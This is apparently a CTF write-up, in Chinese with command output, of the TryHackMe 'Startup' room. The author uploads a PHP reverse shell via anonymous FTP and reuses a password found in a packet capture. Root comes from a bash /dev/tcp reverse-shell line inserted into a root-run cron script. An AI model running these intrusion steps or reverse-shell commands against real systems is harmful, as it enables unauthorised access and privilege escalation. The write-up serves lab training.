Startup

URL

https://tryhackme.com/room/startup

IP

10.10.231.1

```
└─# nmap -sV -sC 10.10.231.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 14:04 CST
Nmap scan report for 10.10.231.1
Host is up (0.34s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.8.58.168
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9a60b841d2201a401304843612bab94 (RSA)
|   256 ec13258c182036e6ce910e1626eba2be (ECDSA)
|_  256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds
```

先使用nmap針對服務做服務探測及預設腳本列舉

從nmap的掃描結果中發現可以使用anonymous登入FTP

```
└─# ftp 10.10.231.1
Connected to 10.10.231.1.
220 (vsFTPd 3.0.3)
Name (10.10.231.1:backone): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||39640|)
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
226 Directory send OK.
ftp>
```

發現有一份文件及圖片，但打開後並沒什麼特別的發現

這邊比較特別的是有個ftp的目錄權限很大或許晚點可以利用

```
└# ffuf -c -w /usr/share/dirb/wordlists/common.txt -u http://10.10.231.1/FUZZ
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.231.1/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 411ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 411ms]
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 411ms]
                        [Status: 200, Size: 808, Words: 136, Lines: 21, Duration: 412ms]
files                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 309ms]
index.html              [Status: 200, Size: 808, Words: 136, Lines: 21, Duration: 308ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 302ms]
:: Progress: [4614/4614] :: Job [1/1] :: 124 req/sec :: Duration: [0:00:38] :: Errors: 0 ::
```

用ffuf去做目錄探測，發現有個資源存在

連上去後發現是index of file的頁面

index of file加上ftp的目錄可以上傳檔案

馬上想到或許可以試試reverse shell

```
ftp> cd ftp
250 Directory successfully changed.
ftp>
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||53949|)
150 Ok to send data.
100% |***********************************************************************|  5490       39.07 MiB/s    00:00 ETA
226 Transfer complete.
5490 bytes sent in 00:00 (7.37 KiB/s)
ftp>
```

Index of /files/ftp

Name	Last modified	Size	Description
Parent Directory		-	
php-reverse-shell.php	2023-01-21 06:18	5.4K	

Apache/2.4.18 (Ubuntu) Server at 10.10.231.1 Port 80

```
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.8.58.168] from (UNKNOWN) [10.10.231.1] 45656
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 06:21:26 up 19 min,  0 users,  load average: 0.00, 0.02, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```

成功拿到shell

進來就位於根目錄，看了一下有兩個屬於該使用者的目錄、檔案

txt為第1題的答案

進去目錄後會看到一個pcapng檔

傳回本機後用WireShark做分析

簡單做了一些分析後，看到有大量的TCP封包在跟4444 port做通訊

看了一下感覺是有個人也用reverse shell的方式連進來

比較有趣的是，在下sudo -l時打了一串錯誤密碼

但可以做一個猜測，這個密碼或許是另一個使用者的

於是看了一下passwd找到一個一般使用者

試著使用ssh連進去

```
└# ssh lennie@10.10.231.1
The authenticity of host '10.10.231.1 (10.10.231.1)' can't be established.
ED25519 key fingerprint is SHA256:v4Yk83aT8xnOB+pdfmlLuJY1ztw/bXsFd1cl/xV07xY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
    ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.231.1' (ED25519) to the list of known hosts.
lennie@10.10.231.1's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-190-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

44 packages can be updated.
30 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$
```

成功登入

在家目錄中就可以找到第2題答案

接著稍微逛一下系統，找一下有沒有提權的點

在scripts目錄中找到一支腳本，比較特別的是他的擁有者是root

但目前的身份無法編輯該腳本

看了一下腳本內容，最後一行會去執行另一支/etc/下的腳本

發現/etc/下的腳本我們可以修改

在修改之前，先使用pspy來觀察一下他們會怎麼執行

```
2023/01/21 07:10:01 CMD: UID=0     PID=12331  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:10:01 CMD: UID=0     PID=12330  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:10:01 CMD: UID=0     PID=12329  | /bin/sh -c /home/lennie/scripts/planner.sh
2023/01/21 07:10:01 CMD: UID=0     PID=12328  | /usr/sbin/CRON -f
2023/01/21 07:11:01 CMD: UID=0     PID=12335  | /bin/bash /etc/print.sh
2023/01/21 07:11:01 CMD: UID=0     PID=12334  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:11:01 CMD: UID=0     PID=12333  | /bin/sh -c /home/lennie/scripts/planner.sh
2023/01/21 07:11:01 CMD: UID=0     PID=12332  | /usr/sbin/CRON -f
2023/01/21 07:12:01 CMD: UID=0     PID=12339  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:12:01 CMD: UID=0     PID=12338  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:12:01 CMD: UID=0     PID=12337  | /bin/sh -c /home/lennie/scripts/planner.sh
2023/01/21 07:12:01 CMD: UID=0     PID=12336  | /usr/sbin/CRON -f
2023/01/21 07:13:01 CMD: UID=0     PID=12343  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:13:01 CMD: UID=0     PID=12342  | /bin/bash /home/lennie/scripts/planner.sh
2023/01/21 07:13:01 CMD: UID=0     PID=12341  | /bin/sh -c /home/lennie/scripts/planner.sh
2023/01/21 07:13:01 CMD: UID=0     PID=12340  | /usr/sbin/CRON -f
```

觀察到每分鐘會被執行一次，且會用root身份執行

這下好了，就在/etc/下的那支腳本中彈一個shell回來

就可以得到root身份了（因為是用root身份執行）

```
lennie@startup:~$ cat /etc/print.sh
#!/bin/bash
bash -c $( bash -i >& /dev/tcp/10.8.58.168/8080 0>&1 )
lennie@startup:~$
```

```
└─# nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.8.58.168] from (UNKNOWN) [10.10.231.1] 60610
bash: cannot set terminal process group (12379): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~#
```

成功得到root身份的bash

在root家目錄中就會找到第3題答案